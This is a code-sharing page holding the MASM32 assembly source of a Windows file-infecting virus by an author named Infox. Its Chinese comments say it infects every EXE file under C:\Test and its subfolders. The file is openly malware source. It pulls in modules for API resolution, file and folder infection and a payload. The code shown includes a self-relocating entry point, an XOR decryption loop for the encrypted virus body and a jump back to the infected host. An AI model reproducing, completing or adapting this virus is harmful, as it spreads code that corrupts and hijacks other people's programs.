📄 ting.asm
字号:
;###########################################################################
;# 作者:Infox #
;###########################################################################
;# 日期:2007年5月10日 #
;###########################################################################
;# 病毒感染 C:\Test 文件夹及子文件侠下的所有EXE文件 #
;###########################################################################
.386
.MODEL FLAT , STDCALL
OPTION CASEMAP : NONE
INCLUDE windows.inc
.CODE
;###########################################################################
;# 病毒代码起始部分 #
;###########################################################################
V_CODE_START EQU THIS BYTE
;###########################################################################
;# 引入所有要使用的数据或函数定义 #
;###########################################################################
; 所有相关数据的定义
INCLUDE _AllDataDefine.inc
; 结构化异常处理(SEH) 函数
INCLUDE _SEHHandler.inc
; 得到 kernel32.dll 中API的辅助函数
INCLUDE _GetKernelApi.inc
; 感染指定文件的辅助函数
INCLUDE _InfectFile.inc
; 感染指定文件夹的辅助函数
INCLUDE _InfectFolder.inc
;###########################################################################
;# 病毒中核心部分,已经被加密 #
;###########################################################################
V_Body:
; 得到 kernel32.dll 内在位置,即句柄,为查询API作准备!
INCLUDE _GetKernel.inc
; 加载程序要使用的所有API函数
INCLUDE _GetAllApi.inc
; 调用病毒感染模块
INCLUDE _InfectCore.inc
; 调用病毒表达模块
INCLUDE _Behavior.inc
; 以下跳转入口 , 为病毒感染后跳转到原程序入口指令
V_End:
DB 0E9H ; 长跳转JMP
V_Encrypt_End:
G_JmpPosition:
DD 0
RET
;###########################################################################
;# 病毒真正入口 #
;###########################################################################
V_Start:
; 病毒自身重定位,后面的程序都基于此重定位,重定位偏移存入 EBX
STC
JC @F
DB 0E8H
@@: CALL @F
@@: POP EBX
SUB EBX , OFFSET @B
; 解密必需数据
LEA EDI , [EBX + V_CODE_START]
MOV EAX , [EBX + G_JmpPosition]
MOV ECX , OFFSET V_Encrypt_End \
- OFFSET V_CODE_START
SHR EAX , 3
@DeEncrypt:
XOR [EDI] , AL
INC EDI
LOOPNZ @DeEncrypt
LEA EAX , [EBX + V_Body]
JMP EAX
;###########################################################################
;# 病毒代码结束部分 #
;###########################################################################
V_CODE_END EQU THIS BYTE
END V_Start
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -